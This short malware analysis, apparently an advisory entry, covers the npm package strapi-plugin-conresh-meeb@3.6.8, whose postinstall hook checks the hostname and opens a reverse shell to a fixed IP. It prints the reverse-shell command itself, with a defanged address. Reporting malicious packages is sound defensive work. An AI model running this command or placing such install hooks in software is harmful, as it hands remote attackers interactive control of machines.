strapi-plugin-conresh-meeb@3.6.8

Analysis

The postinstall hook (postinstall.js) opens a reverse shell to a fixed C2 endpoint. It first checks the hostname and only proceeds when it matches 'ubuntu-fc-uvm', then executes `bash -i >& /dev/tcp/14[.]225[.]210[.]85/80 0>&1`, retrying up to 5 times every 10 seconds and logging activity to /tmp/postinstall-revshell.log. Installing this package on a matching host grants the remote operator an interactive shell on the machine.